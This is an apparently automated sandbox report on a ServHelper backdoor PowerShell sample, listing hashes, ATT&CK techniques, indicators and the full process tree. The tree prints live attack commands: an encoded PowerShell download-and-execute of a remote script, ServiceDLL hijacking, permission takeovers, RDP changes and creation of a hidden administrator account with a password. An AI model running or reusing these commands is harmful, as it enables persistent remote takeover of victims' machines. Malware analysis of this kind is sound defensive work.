servhelper | b65273062c9be6bfc6343438e51d7f68aaecf8382ae1373ff1b3adfacff1fd5d

Analysis

max time kernel
123s
max time network
86s
platform
windows7_x64
resource
win7v20210410
submitted
18-08-2021 13:28

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General

Target

b65273062c9be6bfc6343438e51d7f68aaecf8382ae1373ff1b3adfa~.ps1
Size

2.6MB
MD5

35c34f487155cf7fc72c3146bfa1a016
SHA1

7ee148a4481dcbaba8e63235356f931243f30b37
SHA256

b65273062c9be6bfc6343438e51d7f68aaecf8382ae1373ff1b3adfacff1fd5d
SHA512

188daeb03aa63c289649f45ead6f7d66d20d9549ed673c4449bc5b353b992654de78d114f784bf7f582a12daf029084e21123fff57e5318188de650d7099c32b

Score

10^/10

servhelper backdoor discovery exploit persistence trojan upx

Malware Config

Extracted

Language

ps1

Deobfuscated

URLs

ps1.dropper

https://raw.githubusercontent.com/sqlitey/sqlite/master/speed.ps1

Signatures

ServHelper
ServHelper is a backdoor written in Delphi and is associated with the hacking group TA505.
trojan backdoor servhelper
Grants admin privileges 1 TTPs
Uses net.exe to modify the user's privileges.

Account Manipulation
T1098

Blocklisted process makes network request 1 IoCs

flow	pid	Process
10	916	powershell.exe

Modifies RDP port number used by Windows 1 TTPs

Remote Desktop Protocol
T1076

Possible privilege escalation attempt 8 IoCs

exploit

pid	Process
1636	icacls.exe
952	icacls.exe
1144	icacls.exe
692	icacls.exe
1516	icacls.exe
576	icacls.exe
1628	icacls.exe
1672	takeown.exe

Sets DLL path for service in the registry 2 TTPs
persistence

Registry Run Keys / Startup Folder
T1060

Modify Registry
T1112

UPX packed file 1 IoCs

Detects executables packed with UPX/modified UPX open source packer.

upx

resource	yara_rule
behavioral1/files/0x000500000001310a-173.dat	upx

Deletes itself 1 IoCs

pid	Process
1116	powershell.exe

Loads dropped DLL 2 IoCs

pid	Process
608	Process not Found
608	Process not Found

Modifies file permissions 1 TTPs 8 IoCs

discovery

File and Directory Permissions Modification

T1222

pid	Process
1516	icacls.exe
576	icacls.exe
1628	icacls.exe
1672	takeown.exe
1636	icacls.exe
952	icacls.exe
1144	icacls.exe
692	icacls.exe

Drops file in System32 directory 1 IoCs

description	ioc	Process
File created	C:\Windows\system32\rfxvmt.dll	powershell.exe

Drops file in Windows directory 21 IoCs

description	ioc	Process
File created	C:\Windows\branding\mediasrv.png	powershell.exe
File opened for modification	C:\Windows\ServiceProfiles\NetworkService\AppData\Local\Microsoft\Windows\PowerShell\CommandAnalysis\PowerShell_AnalysisCacheEntry_9afeeca9-f9d1-4549-b70a-7b8ebbdfb82e	powershell.exe
File opened for modification	C:\Windows\ServiceProfiles\NetworkService\AppData\Local\Microsoft\Windows\PowerShell\CommandAnalysis\PowerShell_AnalysisCacheEntry_1e4a2880-eb41-4d2c-89ce-cdd9c1abcc64	powershell.exe
File opened for modification	C:\Windows\ServiceProfiles\NetworkService\AppData\Local\Microsoft\Windows\PowerShell\CommandAnalysis\PowerShell_AnalysisCacheEntry_c018e57c-b040-47db-9360-e03c66e0ee9e	powershell.exe
File created	C:\Windows\ServiceProfiles\NetworkService\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\RSDMQB1EMF4KCGCQMO7P.temp	powershell.exe
File opened for modification	C:\Windows\ServiceProfiles\NetworkService\AppData\Local\Microsoft\Windows\PowerShell\CommandAnalysis\PowerShell_AnalysisCacheEntry_6cb64870-33ce-450d-be1d-c4ca619df375	powershell.exe
File opened for modification	C:\Windows\ServiceProfiles\NetworkService\AppData\Local\Microsoft\Windows\PowerShell\CommandAnalysis\PowerShell_AnalysisCacheIndex	powershell.exe
File opened for modification	C:\Windows\ServiceProfiles\NetworkService\AppData\Local\Microsoft\Windows\PowerShell\CommandAnalysis\PowerShell_AnalysisCacheEntry_8a1d74f7-1ec3-4e45-af92-957665a0bee9	powershell.exe
File created	C:\Windows\branding\mediasvc.png	powershell.exe
File created	C:\Windows\branding\wupsvc.jpg	powershell.exe
File opened for modification	C:\Windows\branding\Basebrd	powershell.exe
File opened for modification	C:\Windows\branding\ShellBrd	powershell.exe
File opened for modification	C:\Windows\branding\mediasvc.png	powershell.exe
File opened for modification	C:\Windows\branding\wupsvc.jpg	powershell.exe
File opened for modification	C:\Windows\ServiceProfiles\NetworkService\AppData\Local\Microsoft\Windows\PowerShell\CommandAnalysis\PowerShell_AnalysisCacheEntry_c327661e-14f6-47b9-8ba4-e310b712f97d	powershell.exe
File opened for modification	C:\Windows\ServiceProfiles\NetworkService\AppData\Local\Microsoft\Windows\PowerShell\CommandAnalysis\PowerShell_AnalysisCacheEntry_33ffc59f-3ddc-4673-b136-3c406752aba9	powershell.exe
File opened for modification	C:\Windows\ServiceProfiles\NetworkService\AppData\Local\Microsoft\Windows\PowerShell\CommandAnalysis\PowerShell_AnalysisCacheEntry_dc45e851-387d-4910-82a3-f7a99b3bad26	powershell.exe
File opened for modification	C:\Windows\branding\mediasrv.png	powershell.exe
File opened for modification	C:\Windows\ServiceProfiles\NetworkService\AppData\Local\Microsoft\Windows\PowerShell\CommandAnalysis\PowerShell_AnalysisCacheEntry_1d932505-2d6d-4598-8185-04b230f77765	powershell.exe
File opened for modification	C:\Windows\ServiceProfiles\NetworkService\AppData\Local\Microsoft\Windows\PowerShell\CommandAnalysis\PowerShell_AnalysisCacheEntry_d5cbeda8-7fcf-4a30-8f08-2c98775d931c	powershell.exe
File opened for modification	C:\Windows\ServiceProfiles\NetworkService\AppData\Local\Microsoft\Windows\PowerShell\CommandAnalysis\PowerShell_AnalysisCacheEntry_6f433178-8b5a-42c6-af2e-e69d70de3792	powershell.exe

Modifies data under HKEY_USERS 4 IoCs

description	ioc	Process
Key created	\REGISTRY\USER\S-1-5-20\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\	WMIC.exe
Key created	\REGISTRY\USER\S-1-5-20\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\	WMIC.exe
Key created	\REGISTRY\USER\S-1-5-20\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\StartPage	powershell.exe
Set value (data)	\REGISTRY\USER\S-1-5-20\Software\Microsoft\Windows\CurrentVersion\Explorer\StartPage\StartMenu_Start_Time = 102c45dd3594d701	powershell.exe

Modifies registry key 1 TTPs 1 IoCs

Modify Registry

T1112

pid	Process
1312	reg.exe

Runs net.exe

Suspicious behavior: EnumeratesProcesses 12 IoCs

pid	Process
1116	powershell.exe
528	powershell.exe
528	powershell.exe
916	powershell.exe
916	powershell.exe
824	powershell.exe
824	powershell.exe
1116	powershell.exe
1116	powershell.exe
1116	powershell.exe
916	powershell.exe
916	powershell.exe

Suspicious behavior: LoadsDriver 5 IoCs

pid	Process
464	Process not Found
608	Process not Found
608	Process not Found
608	Process not Found
608	Process not Found

Suspicious use of AdjustPrivilegeToken 18 IoCs

description	pid	Process
Token: SeDebugPrivilege	1116	powershell.exe
Token: SeDebugPrivilege	528	powershell.exe
Token: SeDebugPrivilege	916	powershell.exe
Token: SeDebugPrivilege	824	powershell.exe
Token: SeRestorePrivilege	952	icacls.exe
Token: SeAssignPrimaryTokenPrivilege	948	WMIC.exe
Token: SeIncreaseQuotaPrivilege	948	WMIC.exe
Token: SeAuditPrivilege	948	WMIC.exe
Token: SeAssignPrimaryTokenPrivilege	948	WMIC.exe
Token: SeIncreaseQuotaPrivilege	948	WMIC.exe
Token: SeAuditPrivilege	948	WMIC.exe
Token: SeAssignPrimaryTokenPrivilege	1840	WMIC.exe
Token: SeIncreaseQuotaPrivilege	1840	WMIC.exe
Token: SeAuditPrivilege	1840	WMIC.exe
Token: SeAssignPrimaryTokenPrivilege	1840	WMIC.exe
Token: SeIncreaseQuotaPrivilege	1840	WMIC.exe
Token: SeAuditPrivilege	1840	WMIC.exe
Token: SeDebugPrivilege	916	powershell.exe

Suspicious use of WriteProcessMemory 64 IoCs

description	pid	Process	procid_target
PID 1116 wrote to memory of 588	1116	powershell.exe	30
PID 1116 wrote to memory of 588	1116	powershell.exe	30
PID 1116 wrote to memory of 588	1116	powershell.exe	30
PID 588 wrote to memory of 388	588	csc.exe	31
PID 588 wrote to memory of 388	588	csc.exe	31
PID 588 wrote to memory of 388	588	csc.exe	31
PID 1116 wrote to memory of 528	1116	powershell.exe	32
PID 1116 wrote to memory of 528	1116	powershell.exe	32
PID 1116 wrote to memory of 528	1116	powershell.exe	32
PID 1116 wrote to memory of 916	1116	powershell.exe	34
PID 1116 wrote to memory of 916	1116	powershell.exe	34
PID 1116 wrote to memory of 916	1116	powershell.exe	34
PID 1116 wrote to memory of 824	1116	powershell.exe	36
PID 1116 wrote to memory of 824	1116	powershell.exe	36
PID 1116 wrote to memory of 824	1116	powershell.exe	36
PID 1116 wrote to memory of 1672	1116	powershell.exe	39
PID 1116 wrote to memory of 1672	1116	powershell.exe	39
PID 1116 wrote to memory of 1672	1116	powershell.exe	39
PID 1116 wrote to memory of 1636	1116	powershell.exe	40
PID 1116 wrote to memory of 1636	1116	powershell.exe	40
PID 1116 wrote to memory of 1636	1116	powershell.exe	40
PID 1116 wrote to memory of 952	1116	powershell.exe	41
PID 1116 wrote to memory of 952	1116	powershell.exe	41
PID 1116 wrote to memory of 952	1116	powershell.exe	41
PID 1116 wrote to memory of 1144	1116	powershell.exe	42
PID 1116 wrote to memory of 1144	1116	powershell.exe	42
PID 1116 wrote to memory of 1144	1116	powershell.exe	42
PID 1116 wrote to memory of 692	1116	powershell.exe	43
PID 1116 wrote to memory of 692	1116	powershell.exe	43
PID 1116 wrote to memory of 692	1116	powershell.exe	43
PID 1116 wrote to memory of 1516	1116	powershell.exe	44
PID 1116 wrote to memory of 1516	1116	powershell.exe	44
PID 1116 wrote to memory of 1516	1116	powershell.exe	44
PID 1116 wrote to memory of 576	1116	powershell.exe	45
PID 1116 wrote to memory of 576	1116	powershell.exe	45
PID 1116 wrote to memory of 576	1116	powershell.exe	45
PID 1116 wrote to memory of 1628	1116	powershell.exe	46
PID 1116 wrote to memory of 1628	1116	powershell.exe	46
PID 1116 wrote to memory of 1628	1116	powershell.exe	46
PID 1116 wrote to memory of 1496	1116	powershell.exe	47
PID 1116 wrote to memory of 1496	1116	powershell.exe	47
PID 1116 wrote to memory of 1496	1116	powershell.exe	47
PID 1116 wrote to memory of 1312	1116	powershell.exe	48
PID 1116 wrote to memory of 1312	1116	powershell.exe	48
PID 1116 wrote to memory of 1312	1116	powershell.exe	48
PID 1116 wrote to memory of 968	1116	powershell.exe	49
PID 1116 wrote to memory of 968	1116	powershell.exe	49
PID 1116 wrote to memory of 968	1116	powershell.exe	49
PID 1116 wrote to memory of 1860	1116	powershell.exe	50
PID 1116 wrote to memory of 1860	1116	powershell.exe	50
PID 1116 wrote to memory of 1860	1116	powershell.exe	50
PID 1860 wrote to memory of 1936	1860	net.exe	51
PID 1860 wrote to memory of 1936	1860	net.exe	51
PID 1860 wrote to memory of 1936	1860	net.exe	51
PID 1116 wrote to memory of 1572	1116	powershell.exe	52
PID 1116 wrote to memory of 1572	1116	powershell.exe	52
PID 1116 wrote to memory of 1572	1116	powershell.exe	52
PID 1572 wrote to memory of 1840	1572	cmd.exe	53
PID 1572 wrote to memory of 1840	1572	cmd.exe	53
PID 1572 wrote to memory of 1840	1572	cmd.exe	53
PID 1840 wrote to memory of 1920	1840	cmd.exe	54
PID 1840 wrote to memory of 1920	1840	cmd.exe	54
PID 1840 wrote to memory of 1920	1840	cmd.exe	54
PID 1920 wrote to memory of 2008	1920	net.exe	55

C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
powershell.exe -ExecutionPolicy bypass -File C:\Users\Admin\AppData\Local\Temp\b65273062c9be6bfc6343438e51d7f68aaecf8382ae1373ff1b3adfa~.ps1
1⤵
- Deletes itself
- Drops file in System32 directory
- Drops file in Windows directory
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:1116
- C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe
  "C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe" /noconfig /fullpaths @"C:\Users\Admin\AppData\Local\Temp\bkor3f3f\bkor3f3f.cmdline"
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:588
- - C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe
    C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe /NOLOGO /READONLY /MACHINE:IX86 "/OUT:C:\Users\Admin\AppData\Local\Temp\RESB9FC.tmp" "c:\Users\Admin\AppData\Local\Temp\bkor3f3f\CSC214DF0007E2C4E6FBC15224A8234D3C.TMP"
    3⤵
    PID:388
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -Version 4.0 -s -NoLogo -NoProfile
  2⤵
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  PID:528
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -Version 4.0 -s -NoLogo -NoProfile
  2⤵
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  PID:916
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -Version 4.0 -s -NoLogo -NoProfile
  2⤵
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  PID:824
- C:\Windows\system32\takeown.exe
  "C:\Windows\system32\takeown.exe" /A /F rfxvmt.dll
  2⤵
  - Possible privilege escalation attempt
  - Modifies file permissions
  PID:1672
- C:\Windows\system32\icacls.exe
  "C:\Windows\system32\icacls.exe" rfxvmt.dll /inheritance:d
  2⤵
  - Possible privilege escalation attempt
  - Modifies file permissions
  PID:1636
- C:\Windows\system32\icacls.exe
  "C:\Windows\system32\icacls.exe" rfxvmt.dll /setowner "NT SERVICE\TrustedInstaller"
  2⤵
  - Possible privilege escalation attempt
  - Modifies file permissions
  - Suspicious use of AdjustPrivilegeToken
  PID:952
- C:\Windows\system32\icacls.exe
  "C:\Windows\system32\icacls.exe" rfxvmt.dll /grant "NT SERVICE\TrustedInstaller:F"
  2⤵
  - Possible privilege escalation attempt
  - Modifies file permissions
  PID:1144
- C:\Windows\system32\icacls.exe
  "C:\Windows\system32\icacls.exe" rfxvmt.dll /remove "NT AUTHORITY\SYSTEM"
  2⤵
  - Possible privilege escalation attempt
  - Modifies file permissions
  PID:692
- C:\Windows\system32\icacls.exe
  "C:\Windows\system32\icacls.exe" rfxvmt.dll /grant "NT AUTHORITY\SYSTEM:RX"
  2⤵
  - Possible privilege escalation attempt
  - Modifies file permissions
  PID:1516
- C:\Windows\system32\icacls.exe
  "C:\Windows\system32\icacls.exe" rfxvmt.dll /remove BUILTIN\Administrators
  2⤵
  - Possible privilege escalation attempt
  - Modifies file permissions
  PID:576
- C:\Windows\system32\icacls.exe
  "C:\Windows\system32\icacls.exe" rfxvmt.dll /grant BUILTIN\Administrators:RX
  2⤵
  - Possible privilege escalation attempt
  - Modifies file permissions
  PID:1628
- C:\Windows\system32\reg.exe
  "C:\Windows\system32\reg.exe" ADD "HKLM\System\CurrentControlSet\Control\Terminal Server\WinStations\RDP-Tcp" /v PortNumber /t REG_DWORD /d 0x1C21 /f
  2⤵
  PID:1496
- C:\Windows\system32\reg.exe
  "C:\Windows\system32\reg.exe" add HKLM\system\currentcontrolset\services\TermService\parameters /v ServiceDLL /t REG_EXPAND_SZ /d C:\Windows\branding\mediasrv.png /f
  2⤵
  - Modifies registry key
  PID:1312
- C:\Windows\system32\reg.exe
  "C:\Windows\system32\reg.exe" add "HKLM\SOFTWARE\Policies\Microsoft\Windows NT\Terminal Services" /v fEnableWddmDriver /t reg_dword /d 0 /f
  2⤵
  PID:968
- C:\Windows\system32\net.exe
  "C:\Windows\system32\net.exe" localgroup Administrators "NT AUTHORITY\NETWORK SERVICE" /add
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:1860
- - C:\Windows\system32\net1.exe
    C:\Windows\system32\net1 localgroup Administrators "NT AUTHORITY\NETWORK SERVICE" /add
    3⤵
    PID:1936
- C:\Windows\system32\cmd.exe
  "C:\Windows\system32\cmd.exe" /c cmd /c net start rdpdr
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:1572
- - C:\Windows\system32\cmd.exe
    cmd /c net start rdpdr
    3⤵
    - Suspicious use of WriteProcessMemory
    PID:1840
  - - C:\Windows\system32\net.exe
      net start rdpdr
      4⤵
      Suspicious use of WriteProcessMemory
      PID:1920
    - - C:\Windows\system32\net1.exe
        
        C:\Windows\system32\net1 start rdpdr
        5⤵
        
        PID:2008
- C:\Windows\system32\cmd.exe
  "C:\Windows\system32\cmd.exe" /c cmd /c net start TermService
  2⤵
  PID:1160
- - C:\Windows\system32\cmd.exe
    cmd /c net start TermService
    3⤵
    PID:1512
  - - C:\Windows\system32\net.exe
      net start TermService
      4⤵
      PID:832
    - - C:\Windows\system32\net1.exe
        
        C:\Windows\system32\net1 start TermService
        5⤵
        
        PID:700
- C:\Windows\system32\cmd.exe
  "C:\Windows\system32\cmd.exe" /c del %temp%\*.ps1 /f
  2⤵
  PID:1336
- C:\Windows\system32\cmd.exe
  "C:\Windows\system32\cmd.exe" /c del %temp%\*.txt /f
  2⤵
  PID:672

C:\Windows\System32\cmd.exe
cmd /C net.exe user WgaUtilAcc 000000 /del
1⤵
PID:1668
- C:\Windows\system32\net.exe
  net.exe user WgaUtilAcc 000000 /del
  2⤵
  PID:1648
- - C:\Windows\system32\net1.exe
    C:\Windows\system32\net1 user WgaUtilAcc 000000 /del
    3⤵
    PID:1336

C:\Windows\System32\cmd.exe
cmd /C net.exe user WgaUtilAcc j5uA500A /add
1⤵
PID:1144
- C:\Windows\system32\net.exe
  net.exe user WgaUtilAcc j5uA500A /add
  2⤵
  PID:1204
- - C:\Windows\system32\net1.exe
    C:\Windows\system32\net1 user WgaUtilAcc j5uA500A /add
    3⤵
    PID:1600

C:\Windows\System32\cmd.exe
cmd /C net.exe LOCALGROUP "Remote Desktop Users" WgaUtilAcc /ADD
1⤵
PID:1088
- C:\Windows\system32\net.exe
  net.exe LOCALGROUP "Remote Desktop Users" WgaUtilAcc /ADD
  2⤵
  PID:2032
- - C:\Windows\system32\net1.exe
    C:\Windows\system32\net1 LOCALGROUP "Remote Desktop Users" WgaUtilAcc /ADD
    3⤵
    PID:316

C:\Windows\System32\cmd.exe
cmd /C net.exe LOCALGROUP "Remote Desktop Users" MRBKYMNO$ /ADD
1⤵
PID:992
- C:\Windows\system32\net.exe
  net.exe LOCALGROUP "Remote Desktop Users" MRBKYMNO$ /ADD
  2⤵
  PID:2024
- - C:\Windows\system32\net1.exe
    C:\Windows\system32\net1 LOCALGROUP "Remote Desktop Users" MRBKYMNO$ /ADD
    3⤵
    PID:1596

C:\Windows\System32\cmd.exe
cmd /C net.exe LOCALGROUP "Administrators" WgaUtilAcc /ADD
1⤵
PID:296
- C:\Windows\system32\net.exe
  net.exe LOCALGROUP "Administrators" WgaUtilAcc /ADD
  2⤵
  PID:740
- - C:\Windows\system32\net1.exe
    C:\Windows\system32\net1 LOCALGROUP "Administrators" WgaUtilAcc /ADD
    3⤵
    PID:1296

C:\Windows\System32\cmd.exe
cmd /C net.exe user WgaUtilAcc j5uA500A
1⤵
PID:1556
- C:\Windows\system32\net.exe
  net.exe user WgaUtilAcc j5uA500A
  2⤵
  PID:1336
- - C:\Windows\system32\net1.exe
    C:\Windows\system32\net1 user WgaUtilAcc j5uA500A
    3⤵
    PID:672

C:\Windows\System32\cmd.exe
cmd.exe /C wmic path win32_VideoController get name
1⤵
PID:1532
- C:\Windows\System32\Wbem\WMIC.exe
  wmic path win32_VideoController get name
  2⤵
  - Modifies data under HKEY_USERS
  - Suspicious use of AdjustPrivilegeToken
  PID:948

C:\Windows\System32\cmd.exe
cmd.exe /C wmic CPU get NAME
1⤵
PID:1628
- C:\Windows\System32\Wbem\WMIC.exe
  wmic CPU get NAME
  2⤵
  - Modifies data under HKEY_USERS
  - Suspicious use of AdjustPrivilegeToken
  PID:1840

C:\Windows\System32\cmd.exe
cmd.exe /C cmd /C powershell -ep bypass -NoProfile -outputformat text -nologo -noninteractive -enc SQBFAFgAIAAoAE4AZQB3AC0ATwBiAGoAZQBjAHQAIABOAGUAdAAuAFcAZQBiAGMAbABpAGUAbgB0ACkALgBkAG8AdwBuAGwAbwBhAGQAcwB0AHIAaQBuAGcAKAAiAGgAdAB0AHAAcwA6AC8ALwByAGEAdwAuAGcAaQB0AGgAdQBiAHUAcwBlAHIAYwBvAG4AdABlAG4AdAAuAGMAbwBtAC8AcwBxAGwAaQB0AGUAeQAvAHMAcQBsAGkAdABlAC8AbQBhAHMAdABlAHIALwBzAHAAZQBlAGQALgBwAHMAMQAiACkA
1⤵
PID:1232
- C:\Windows\system32\cmd.exe
  cmd /C powershell -ep bypass -NoProfile -outputformat text -nologo -noninteractive -enc SQBFAFgAIAAoAE4AZQB3AC0ATwBiAGoAZQBjAHQAIABOAGUAdAAuAFcAZQBiAGMAbABpAGUAbgB0ACkALgBkAG8AdwBuAGwAbwBhAGQAcwB0AHIAaQBuAGcAKAAiAGgAdAB0AHAAcwA6AC8ALwByAGEAdwAuAGcAaQB0AGgAdQBiAHUAcwBlAHIAYwBvAG4AdABlAG4AdAAuAGMAbwBtAC8AcwBxAGwAaQB0AGUAeQAvAHMAcQBsAGkAdABlAC8AbQBhAHMAdABlAHIALwBzAHAAZQBlAGQALgBwAHMAMQAiACkA
  2⤵
  PID:1964
- - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    powershell -ep bypass -NoProfile -outputformat text -nologo -noninteractive -enc SQBFAFgAIAAoAE4AZQB3AC0ATwBiAGoAZQBjAHQAIABOAGUAdAAuAFcAZQBiAGMAbABpAGUAbgB0ACkALgBkAG8AdwBuAGwAbwBhAGQAcwB0AHIAaQBuAGcAKAAiAGgAdAB0AHAAcwA6AC8ALwByAGEAdwAuAGcAaQB0AGgAdQBiAHUAcwBlAHIAYwBvAG4AdABlAG4AdAAuAGMAbwBtAC8AcwBxAGwAaQB0AGUAeQAvAHMAcQBsAGkAdABlAC8AbQBhAHMAdABlAHIALwBzAHAAZQBlAGQALgBwAHMAMQAiACkA
    3⤵
    - Blocklisted process makes network request
    - Drops file in Windows directory
    - Modifies data under HKEY_USERS
    - Suspicious behavior: EnumeratesProcesses
    - Suspicious use of AdjustPrivilegeToken
    PID:916

Network

MITRE ATT&CK Enterprise v6

Initial Access

Execution

Persistence

Account Manipulation

T1098

Registry Run Keys / Startup Folder

T1060

Privilege Escalation

Defense Evasion

File and Directory Permissions Modification

T1222

Modify Registry

T1112

Credential Access

Account Manipulation

T1098

Discovery

Lateral Movement

Remote Desktop Protocol

T1076

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

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Downloads

memory/528-89-0x000000001B5A0000-0x000000001B5A1000-memory.dmp

Filesize
4KB

Download
memory/528-112-0x000000001B630000-0x000000001B631000-memory.dmp

Filesize
4KB

Download
memory/528-91-0x0000000002960000-0x0000000002961000-memory.dmp

Filesize
4KB

Download
memory/528-92-0x0000000002470000-0x0000000002471000-memory.dmp

Filesize
4KB

Download
memory/528-85-0x000000001AB74000-0x000000001AB76000-memory.dmp

Filesize
8KB

Download
memory/528-87-0x0000000002500000-0x0000000002501000-memory.dmp

Filesize
4KB

Download
memory/528-98-0x000000001B6E0000-0x000000001B6E1000-memory.dmp

Filesize
4KB

Download
memory/528-84-0x000000001AB70000-0x000000001AB72000-memory.dmp

Filesize
8KB

Download
memory/528-111-0x000000001B510000-0x000000001B511000-memory.dmp

Filesize
4KB

Download
memory/824-140-0x000000001AB70000-0x000000001AB72000-memory.dmp

Filesize
8KB

Download
memory/824-141-0x000000001AB74000-0x000000001AB76000-memory.dmp

Filesize
8KB

Download
memory/916-121-0x000000001B600000-0x000000001B601000-memory.dmp

Filesize
4KB

Download
memory/916-196-0x0000000019514000-0x0000000019516000-memory.dmp

Filesize
8KB

Download
memory/916-124-0x00000000024F4000-0x00000000024F6000-memory.dmp

Filesize
8KB

Download
memory/916-227-0x000000001951A000-0x0000000019539000-memory.dmp

Filesize
124KB

Download
memory/916-122-0x00000000024F0000-0x00000000024F2000-memory.dmp

Filesize
8KB

Download
memory/916-126-0x0000000002430000-0x0000000002431000-memory.dmp

Filesize
4KB

Download
memory/916-195-0x0000000019510000-0x0000000019512000-memory.dmp

Filesize
8KB

Download
memory/916-119-0x00000000025F0000-0x00000000025F1000-memory.dmp

Filesize
4KB

Download
memory/916-125-0x0000000002870000-0x0000000002871000-memory.dmp

Filesize
4KB

Download
memory/1116-78-0x000000001BA20000-0x000000001BA21000-memory.dmp

Filesize
4KB

Download
memory/1116-67-0x000000001C3E0000-0x000000001C3E1000-memory.dmp

Filesize
4KB

Download
memory/1116-93-0x000000001AB0A000-0x000000001AB29000-memory.dmp

Filesize
124KB

Download
memory/1116-60-0x000007FEFC181000-0x000007FEFC183000-memory.dmp

Filesize
8KB

Download
memory/1116-77-0x000000001B990000-0x000000001B991000-memory.dmp

Filesize
4KB

Download
memory/1116-76-0x000000001B590000-0x000000001B591000-memory.dmp

Filesize
4KB

Download
memory/1116-63-0x00000000024A0000-0x00000000024A1000-memory.dmp

Filesize
4KB

Download
memory/1116-64-0x0000000002860000-0x0000000002861000-memory.dmp

Filesize
4KB

Download
memory/1116-75-0x0000000002490000-0x0000000002491000-memory.dmp

Filesize
4KB

Download
memory/1116-62-0x000000001AB80000-0x000000001AB81000-memory.dmp

Filesize
4KB

Download
memory/1116-65-0x000000001AB00000-0x000000001AB02000-memory.dmp

Filesize
8KB

Download
memory/1116-149-0x000000001C620000-0x000000001C621000-memory.dmp

Filesize
4KB

Download
memory/1116-66-0x000000001AB04000-0x000000001AB06000-memory.dmp

Filesize
8KB

Download
memory/1116-61-0x0000000002350000-0x0000000002351000-memory.dmp

Filesize
4KB

Download